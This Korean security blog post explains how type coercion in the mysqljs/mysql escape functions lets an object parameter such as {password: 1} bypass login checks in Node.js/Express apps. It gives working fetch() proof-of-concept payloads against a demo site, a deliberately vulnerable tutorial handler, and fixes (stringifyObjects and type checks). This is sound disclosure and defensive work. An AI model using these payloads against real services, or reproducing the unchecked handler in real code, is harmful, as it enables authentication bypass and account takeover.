Table of Contents
Translation
This post is about explaining unexpected behaviors from escape functions in
mysqljs/mysql
, which potentially leads to a SQL injection in a lot of Node.js web services.I've written the same content in other languages so the translator is not required for this content.
Please check my company's blog for more detailed information.
- Japanese: https://blog.flatt.tech/entry/node_mysql_sqlinjection
- English: https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4
Flatt Security Inc.Flatt Security Inc. provides security assessment services. We are willing to have offers from overseas.
If you have any question, please contact us by https://flatt.tech/en/. Thank you in advance for reading this article.
Node.js 생태계에서 가장 많이 사용되는 패키지 중 하나인 mysqljs/mysql
(https://github.com/mysqljs/mysql) 에서 escape 함수의 예기치 못한 동작으로 인해 SQL 인젝션 공격이 가능합니다.
일반적으로 쿼리를 작성할 때 이용하는 escape 함수나 placeholder 방식 등은 SQL 인젝션으로부터 공격을 보호하기 위해 사용되어 왔었습니다. 그러나 mysqljs/mysql의 경우, escape 함수의 경우 주어진 파라미터의 값의 type에 따라 escape 함수가 내부적으로 다르게 처리되며, 이로 인해 예기치 못한 쿼리가 실행되어 SQL 인젝션이 발생할 수 있습니다.
현재 인터넷에 올라와있는 개발 튜토리얼이나 보안 가이드라인이 문제를 일으킬 수 있는 내용으로 작성되어 있으며, 이로 인해 잠재적으로 수많은 프로젝트에 영향을 미치고 있습니다.
현재 대부분의 자동화된 SQL 인젝션 스캐너와 온라인에 공개된 페이로드 등을 통해서는 이러한 공격을 발견하기가 어렵고, mysql 패키지를 제대로 확인하지 않으면 알 수 없기 때문에 제목을 "unseen SQL Injection"이라고 칭하였습니다.
참고로 connection.escape()
, mysql.escape()
나 pool.escape()
등의 함수들도 취약하므로 반드시 확인하시기 바랍니다.
다음은 구글에서 "express에서 mysql 패키지를 이용한 로그인 튜토리얼" 등의 키워드로 검색하면 흔히 찾아볼 수 있는 예시 코드입니다.
...
app.post("/auth", function (request, response) {
var username = request.body.username;
var password = request.body.password;
if (username && password) {
connection.query(
"SELECT * FROM accounts WHERE username = ? AND password = ?",
[username, password],
function (error, results, fields) {
...
}
);
}
});
...
위 코드를 읽어보면 그냥 보았을 때 안전한 코드인 것처럼 보입니다.
하지만, express 프레임워크 구조상 POST 데이터를 다른 type(Boolean, Array, Object 등)으로 입력할 수 있도록 구현되어 있고, 이로인해 username
과 password
변수를 다른 type으로 변환하여 데이터를 전송할 수 있습니다.
다음 공격 코드는 password
변수의 값을 Object
형으로 전달하여 로그인 인증을 우회하는 공격 코드입니다.
/*
Running the following code in your browser will execute the following code in the backend.
> SELECT * FROM accounts WHERE username = 'admin' AND password = `password` = 1;
And the executed query will eventually be simplified into the following query
> SELECT * FROM accounts WHERE username = 'admin' AND 1 = 1;
> SELECT * FROM accounts WHERE username = 'admin';
*/
data = {
"username": "admin",
"password": {
"password": 1
}
}
fetch("https://sqli.demo.flatt.fe.gy/auth", {
"headers": {
"content-type": "application/json",
},
"body": JSON.stringify(data),
"method": "POST",
"mode": "cors",
"credentials": "include"
})
.then(r => r.text())
.then(r => { console.log(r); });
위 공격 코드에서 볼 수 있듯, type 변경으로 데이터를 전송하면, 코드에 작성된 주석처럼 의도치 않게 SQL 쿼리가 실행되어 다른 사용자로 로그인을 할 수 있게 됩니다.
위와 같은 문제를 해결하기 위해 현재 2가지의 방법을 권장합니다.
mysql.createConnection
에서 stringifyObjects: true
를 추가하여 Object가 의도치 않게 escape처리 되지 않도록 원천적으로 차단 (필수)var connection = mysql.createConnection({
...,
stringifyObjects: true,
});
...
1번 방법을 불가피하게 사용하기 어려운 환경이거나 1번의 방법보다 조금 더 확실히 차단하고 싶은 경우엔 Type check 코드를 추가하는 것을 권장합니다. 다만, 실행되는 모든 쿼리를 type check하는 작업은 코스트가 많이 발생하고 마찬가지로 문제를 일으킬 가능성이 있습니다.
...
var username = request.body.username;
var password = request.body.password;
// Reject different type
if (typeof username != "string" || typeof password != "string"){
response.send("Invalid parameters!");
response.end();
return;
}
...
안녕하세요. Flatt Security Inc의 stypr(@stereotype32)입니다. 제로데이 블로그를 작성한 이후 꽤 많은 시간이 지났습니다.
조만간 기술 관련 기사를 올릴까하여 찾은 취약점에 대한 정보를 이미 작성하였는데, 벤더가 몇달 째 취약점에 대한 공개를 하지 않고 있어 신규 글이 올라오기 전까지 개발자와 보안 엔지니어에게 둘 다 도움될만한 새로운 기사를 작성하기로 하였습니다.
본 기사에서는 수많은 Node.js 웹 어플리케이션에서 발생할 수 있는 "숨겨진" SQL 인젝션을 찾기에 대해 소개해보려고 합니다. 잠재적으로 취약한 어플리케이션이 많음에도 불구하고 대다수의 보안 엔지니어나 개발자들에게 잘 알려진 정보가 아니다보니 공유하고자 본 기사를 작성하였습니다.
사실 본 트릭은 온라인 CTF(정보보안 대회) 문제로 처음 인터넷에 공개되었지만, 해당 버그를 통한 SQL 인젝션 기법은 이미 웹 보안 엔지니어들 사이에서 꽤 오랜기간 비밀리로 사용되어 왔었고, 모의해킹이나 웹 서비스들을 공격하는데 종종 사용되어 왔었습니다.
보통 개발자나 보안 엔지니어 관점에서 이러한 버그를 발견하기가 굉장히 어려운 편에 속하기 때문에 본 기사에서는 "숨겨진"(unseen) 이라 표현하였습니다. 생각해보면 escape처리를 통한 SQL 인젝션 방어라는 것 자체가 일반적으로 best security practice로 알려져 있는 만큼, 실제로 해당 패키지를 직접 뜯어보지 않는 이상 사실상 취약한 코드인지 식별하기 어렵습니다.
다음은 집필 시점에서 오해를 살 수 있는 내용이라고 판단한 튜토리얼 및 보안 가이드라인입니다.
Security Guidelines
Tutorials
본 데모에서 사용될 샘플 프로젝트는 구글 검색시 나오는 맨 위의 튜토리얼 코드를 그대로 붙여넣어 만든 프로젝트입니다. (레퍼런스)
편의를 위해 docker-compose.yml
도 작성하였으니 로컬환경에서도 간편하게 테스트해보실 수 있습니다.
https://github.com/stypr/vulnerable-nodejs-express-mysql
혹시 몰라서, 테스트용 서비스(https://sqli.demo.flatt.fe.gy/)도 만들었으니 여기를 통해 테스트를 하셔도 됩니다.
본 데모의 경우 다음과 같이 3개의 엔드포인트가 있습니다. 앞서 설명한대로 코드를 그대로 붙여넣었기 때문에 가입 기능은 따로 존재하지 않습니다.
엔드포인트 | 설명 |
---|---|
/ | 로그인 폼을 보여줍니다. |
/home | 유저명이 페이지에 출력됩니다. 로그인을 해야 볼 수 있는 페이지입니다. |
/auth | 로그인 엔드포인트 유저명과 비밀번호를 체크합니다. |
accounts
테이블에는 다음과 같은 데이터가 입력되어 있습니다.
id | username | password | |
---|---|---|---|
1 | admin | (랜덤으로 생성된 SHA512 해쉬값) | [email protected] |
로그인과 관련된 코드는 다음과 같습니다. 다음 코드를 그냥 읽었을때 그냥 안전해 보이는 코드처럼 보입니다.
app.post('/auth', function(request, response) {
// Capture the input fields
let username = request.body.username;
let password = request.body.password;
// Ensure the input fields exists and are not empty
if (username && password) {
// Execute SQL query that'll select the account from the database based on the specified username and password
connection.query('SELECT * FROM accounts WHERE username = ? AND password = ?', [username, password], function(error, results, fields) {
// If there is an issue with the query, output the error
if (error) throw error;
// If the account exists
if (results.length > 0) {
// Authenticate the user
request.session.loggedin = true;
request.session.username = username;
// Redirect to home page
response.redirect('/home');
} else {
response.send('Incorrect Username and/or Password!');
}
response.end();
});
} else {
response.send('Please enter Username and Password!');
response.end();
}
});
이제 Chrome의 개발자 툴을 열어서 [Network] 탭에서 HTTP 송수신 기록을 확인해봅시다. 다른 브라우저나 툴을 이용해서 기록을 확인할 수 있지만 공격을 쉽게 재현하기 위해 개발자 툴을 이용하기로 하였습니다.
웹사이트에 유저명과 비밀번호를 무작위로 입력하면, auth 엔드포인트가 개발자 툴에 추가되는 것을 보실 수 있습니다.
이어서 인증과 관련된 HTTP 송신 기록을 fetch()
코드로 복사하여 JavaScript 코드로 변환하는 작업을 진행합니다. 먼저 auth 엔드포인트를 마우스 우클릭한 다음 [Copy] -> [Copy as fetch] 를 클릭하여 fetch 코드로 복사합니다.
이제 [Console] 탭으로 이동하여 복사된 코드를 붙여넣습니다. 코드는 다음과 같은 형태로 출력될 것입니다.
fetch("https://sqli.demo.flatt.fe.gy/auth", {
"headers": {
"accept-language": "en-US,en;q=0.9,ko;q=0.8,ja;q=0.7",
"cache-control": "max-age=0",
"content-type": "application/x-www-form-urlencoded",
...
},
...
"body": "username=admin&password=12341234test",
"method": "POST",
"mode": "cors",
"credentials": "include"
});
원할한 테스트를 위해 앞서 붙여넣은 코드에서 불필요한 정보들을 전부 제거하고 HTTP 응답을 콘솔에 출력하는 코드를 추가하면 다음과 같은 형태가 됩니다.
fetch("https://sqli.demo.flatt.fe.gy/auth", {
"headers": {
"content-type": "application/x-www-form-urlencoded",
},
"body": "username=admin&password=12341234test",
"method": "POST",
"mode": "cors",
"credentials": "include"
})
.then(r => r.text())
.then(r => { console.log(r); });
위와 같이 코드를 실행하면, 다음과 같이 로그인이 실패했다는 메시지가 출력됩니다. 당연한 이야기지만 우리는 admin의 비밀번호를 모르기 때문에 아직 로그인 할 수 없습니다.
이제 붙여넣은 코드를 조금 수정하여 로그인 인증을 우회해봅시다. password
파라미터명을 password[password]
로 변경하여 파라미터를 Object형으로 만듭니다.
fetch("https://sqli.demo.flatt.fe.gy/auth", {
"headers": {
"content-type": "application/x-www-form-urlencoded",
},
"body": "username=admin&password[password]=1",
"method": "POST",
"mode": "cors",
"credentials": "include"
})
.then(r => r.text())
.then(r => { console.log(r); });
위 코드를 실행하면... admin계정으로 성공적으로 로그인 할 수 있게됩니다.
재차 확인하기 위해 /home
엔드포인트로 접속하여 admin으로 로그인 되었는지 재차 확인합니다.
일반적인 폼데이터가 아닌 JSON 으로 송신하여도 마찬가지로 동일하게 인증 우회를 할 수 있습니다.
data = {
"username": "admin",
"password": {
"password": 1
}
}
fetch("https://sqli.demo.flatt.fe.gy/auth", {
"headers": {
"content-type": "application/json",
},
"body": JSON.stringify(data),
"method": "POST",
"mode": "cors",
"credentials": "include"
})
.then(r => r.text())
.then(r => { console.log(r); });
어쩌다 인증우회가 발생한걸까요?
먼저 escape 함수가 어떻게 작동하는지에 대해 확인하기 위해 공식 가이드를 읽어봅시다.
https://github.com/mysqljs/mysql/blob/master/Readme.md#escaping-query-values
공식 가이드를 읽어보면 입력된 파라미터 값의 타입에 따라 escape 처리가 달라진다는 내용이 쓰여있습니다.
In order to avoid SQL Injection attacks, you should always escape any user provided data before using it inside a SQL query. You can do so using the
mysql.escape()
,connection.escape()
orpool.escape()
methods:... (snipped) ...
Different value types are escaped differently, here is how:
Numbers are left untouched
Booleans are converted to
true
/false
Date objects are converted to
'YYYY-mm-dd HH:ii:ss'
strings... (snipped) ...
Strings are safely escaped
... (snipped) ...
Objects are turned into
key = 'val'
pairs for each enumerable property on the object. If the property's value is a function, it is skipped; if the property's value is an object, toString() is called on it and the returned value is used.
undefined
/null
are converted toNULL
... (snipped) ...
escape를 처리하는 함수는 mysqljs/sqlstring(https://github.com/mysqljs/sqlstring) 라이브러리의 함수에서 불러오는데, 확인해보면 위 언급된 내용과 같이 type에 따라 escape 처리 방식이 달라지는 것을 확인할 수 있습니다.
lib/SqlString.js
SqlString.escape = function escape(val, stringifyObjects, timeZone) {
if (val === undefined || val === null) {
return 'NULL';
}
switch (typeof val) {
case 'boolean': return (val) ? 'true' : 'false';
case 'number': return val + '';
case 'object':
if (val instanceof Date) {
return SqlString.dateToString(val, timeZone || 'local');
} else if (Array.isArray(val)) {
return SqlString.arrayToList(val, timeZone);
} else if (Buffer.isBuffer(val)) {
return SqlString.bufferToString(val);
} else if (typeof val.toSqlString === 'function') {
return String(val.toSqlString());
} else if (stringifyObjects) {
return escapeString(val.toString());
} else {
return SqlString.objectToValues(val, timeZone);
}
default: return escapeString(val);
}
};
...
SqlString.objectToValues = function objectToValues(object, timeZone) {
var sql = '';
for (var key in object) {
var val = object[key];
if (typeof val === 'function') {
continue;
}
sql += (sql.length === 0 ? '' : ', ') + SqlString.escapeId(key) + ' = ' + SqlString.escape(val, true, timeZone);
}
return sql;
};
이제 다음과 같은 코드를 작성하여 파라미터에 다른 타입이 들어갔을 때 어떠한 쿼리가 실제로 실행되는지 한번 확인해봅시다.
/*
main.js
Test code for different types
*/
var mysql = require("mysql");
// connection
var connection = mysql.createConnection({
host: "localhost",
user: "login",
password: "login",
database: "login",
});
// log query
connection.on('enqueue', function(sequence) {
if ('Query' === sequence.constructor.name) {
console.log(sequence.sql);
}
});
// username and password
var username = 'admin';
var password_list = [
12341234, // Numbers
true, // Booleans
new Date('December 17, 1995 03:24:00'), // Date
new String('test_password_string'), // String Object
'test_password_string', // String
['array_test_1', 'array_test_2'], // Array
[['a', 'b'], ['c', 'd']], // Nested Array
{'obj_key_1': 'obj_val_1'}, // Object
undefined,
null
];
// What will happen?
for(i in password_list){
var sql = 'SELECT * FROM accounts WHERE username = ? AND password = ?'
connection.query(sql, [username, password_list[i]], function (error, results, fields) {
});
}
위 코드를 실행하면, 쿼리들이 파라미터의 타입에 따라 escape 처리된 값이 타입에 따라 달라짐을 알 수 있습니다.
$ node main.js
SELECT * FROM accounts WHERE username = 'admin' AND password = 12341234
SELECT * FROM accounts WHERE username = 'admin' AND password = true
SELECT * FROM accounts WHERE username = 'admin' AND password = '1995-12-17 03:24:00.000'
SELECT * FROM accounts WHERE username = 'admin' AND password = `0` = 't', `1` = 'e', `2` = 's', `3` = 't', `4` = '_', `5` = 'p', `6` = 'a', `7` = 's', `8` = 's', `9` = 'w', `10` = 'o', `11` = 'r', `12` = 'd', `13` = '_', `14` = 's', `15` = 't', `16` = 'r', `17` = 'i', `18` = 'n', `19` = 'g'
SELECT * FROM accounts WHERE username = 'admin' AND password = 'test_password_string'
SELECT * FROM accounts WHERE username = 'admin' AND password = 'array_test_1', 'array_test_2'
SELECT * FROM accounts WHERE username = 'admin' AND password = ('a', 'b'), ('c', 'd')
SELECT * FROM accounts WHERE username = 'admin' AND password = `obj_key_1` = 'obj_val_1'
SELECT * FROM accounts WHERE username = 'admin' AND password = NULL
SELECT * FROM accounts WHERE username = 'admin' AND password = NULL
위 결과에서 일부 타입(특히 Object 타입)의 경우 escape 처리 후 백틱(`)이 추가되는 것을 확인할 수 있으며, 백틱은 기본적으로 테이블 및 열 식별자로써 사용되므로 이를 통해 타 테이블이나 열을 참조할 수 있습니다.
이러한 점을 참고하여 이제 obj_key_1
와 obj_val_1
을 하나씩 파헤쳐봅시다.
먼저 password = `obj_key_1`
라는 값이 password = `password`
로 변경되면 어떻게 되는지 생각해봅시다. 먼저 백틱은 식별자이므로 `password`
는 동일한 password 칼럼을 참조하고 있기 때문에 결과적으로 쿼리가 실행될 때 password = password
으로 변환되고, 최종적으로 쿼리는 무조건 1(참)으로 처리됩니다. 위와 같은 현상은 쿼리가 1=1을 실행할 때와 같은 현상입니다.
mysql> select password = `password` from accounts;
+-----------------------+
| password = `password` |
+-----------------------+
| 1 |
+-----------------------+
1 row in set (0.00 sec)
이제 obj_key_1
을 password로 변경한 상태에서 obj_val_1
의 값을 숫자 1로 입력해봅시다.
(1=1)
이라는 값과 1
과 재차 비교하게 되기 때문에 (1=1)=1
로 처리가 되며 이로 인해 최종적으로 1
이 출력됩니다.
mysql> select password = `password` = 1 from accounts;
+---------------------------+
| password = `password` = 1 |
+---------------------------+
| 1 |
+---------------------------+
1 row in set (0.00 sec)
1이라는 숫자는 항상 true
로 처리되기 때문에, 비밀번호 체크가 우회되면서 로그인을 할 수 있게 됩니다.
즉, password 파라미터가 {'password': 1}
으로 입력되었을 경우, 쿼리가 실행될 때 최종적으로 1=1
로 처리되면서 이로 인해 로그인 우회가 가능해지게 됩니다.
mysql> SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND password=`password`;
+----+----------+------------------+------------------+
| id | username | snipped_password | email |
+----+----------+------------------+------------------+
| 1 | admin | da923326 | admin@flatt.tech |
+----+----------+------------------+------------------+
1 row in set (0.00 sec)
mysql> SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND password=`password`=1;
+----+----------+------------------+------------------+
| id | username | snipped_password | email |
+----+----------+------------------+------------------+
| 1 | admin | da923326 | admin@flatt.tech |
+----+----------+------------------+------------------+
1 row in set (0.00 sec)
mysql> SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND 1;
+----+----------+------------------+------------------+
| id | username | snipped_password | email |
+----+----------+------------------+------------------+
| 1 | admin | da923326 | admin@flatt.tech |
+----+----------+------------------+------------------+
1 row in set (0.00 sec)
위와 같이 취약한 코드를 수정하는 방법은 생각보다 간단합니다.
mysql.createConnection
이 호출되는 코드에 다음과 같이 "stringifyObjects": true
옵션을 추가하여, 모든 쿼리에 넣어지는 파라미터가 Object
형일 때 의도치 않게 변경되는 것을 차단할 수 있습니다.
다만, 대형 프로젝트나 어느정도 개발이 완료된 프로젝트인 경우, 옵션을 추가하면 실행되는 모든 쿼리가 영향을 받으므로, 일부 기능이 정상적으로 작동하지 않을 수도 있습니다. 이와 같은 경우 Method 2를 통해 패치하는 것을 권장합니다.
var connection = mysql.createConnection({
host: "db",
user: "login",
password: "login",
database: "login",
});
...
var connection = mysql.createConnection({
host: "db",
user: "login",
password: "login",
database: "login",
stringifyObjects: true,
});
...
Method 1은 확실한 방법이긴 하지만, Object
인 경우에만 발생할 수 있는 문제점을 해결하기 위해 만들어져있기 때문에, 안타깝게도 Array
, array of Array
, Boolean
등 다른 타입에 대해서는 기존과 동일하게 type에 따라 escape 처리가 됩니다.
Method 1에서는 Object
type으로 변경해서 발생할 수 있는 문제에 대해서만 언급하였으나, UPDATE/DELETE/INSERT 등의 구문에서 type 변경으로 인해 의도치 않은 문제가 여전히 발생 할 수 있기 때문에, 해당 취약점을 완벽히 차단하려면 Type check 코드를 추가적으로 넣는 것을 권장합니다.
다만 이 방식은 모든 쿼리에 대해 type check 코드를 추가해야 하므로 개발 cost를 봤을 때 효율적이지 않다는 점과 유지보수를 하기 어려워진다는 점이 있습니다.
app.post("/auth", function (request, response) {
var username = request.body.username;
var password = request.body.password;
if (username && password) {
connection.query(
"SELECT * FROM accounts WHERE username = ? AND password = ?",
[username, password],
function (error, results, fields) {
...
}
);
}
});
app.post("/auth", function (request, response) {
var username = request.body.username;
var password = request.body.password;
// Reject different value types
if (typeof username != "string" || typeof password != "string"){
response.send("Invalid parameters!");
response.end();
return;
}
if (username && password) {
connection.query(
"SELECT * FROM accounts WHERE username = ? AND password = ?",
[username, password],
function (error, results, fields) {
...
}
);
}
});
위와 같은 사례를 통해, 가장 신뢰되는 패키지를 사용하며 best security practice로 여겨지는 방식을 사용해도 의도치 않게 취약점이 발생할 수 있습니다. 공식 가이드라인을 항상 주의 깊게 읽는 습관을 가지시고, 보안에 영향을 미칠수 있는 부분들을 잘 캐치해내시길 권장합니다. Node.js의 생태계의 경우 non-primitive한 타입의 데이터을 허용한 상태로 데이터를 처리하는 경우가 많기 떄문에 혹시 모르는 상황을 대비하여 type check를 항상 해주는 것을 권장 합니다. 물론 Type check의 경우 Node.js 뿐만이 아닌 다른 언어에서도 매우 중요하기 때문에 항상 개발하실 때 타입 체크에 신경써주시기 바랍니다.
보안 엔지니어의 관점에서 봤을 떄, Node.js로 작성된 웹 어플리케이션 진단을 의뢰할 때는 화이트 박스 테스트를 통한 코드레벨에서 검수받는 쪽을 개인적으로 권장하는 편입니다. 위와 같이 의도치 않게 발생하는 유형의 취약점이 종종 있으며, 일반적인 툴이나 스캐너로는 확인하기 힘들기 때문입니다.
국내에서 2020년 10월에 @jeong.su 님이 이미 동일한 부류의 취약점에 대해 한번 간략하게 소개하셨던 것을 확인하였습니다.
(SANGWOO님 알려주셔서 정말 감사합니다!)
조금 더 확실한 방법으로 패치할 수 있도록 패치 코드를 수정하였고, 조금 이해가 어려운 부분들을 조금 더 자세하게 서술하였습니다.
(문상환님(https://twitter.com/sangwhanmoon)님 알려주셔서 정말 감사합니다!!)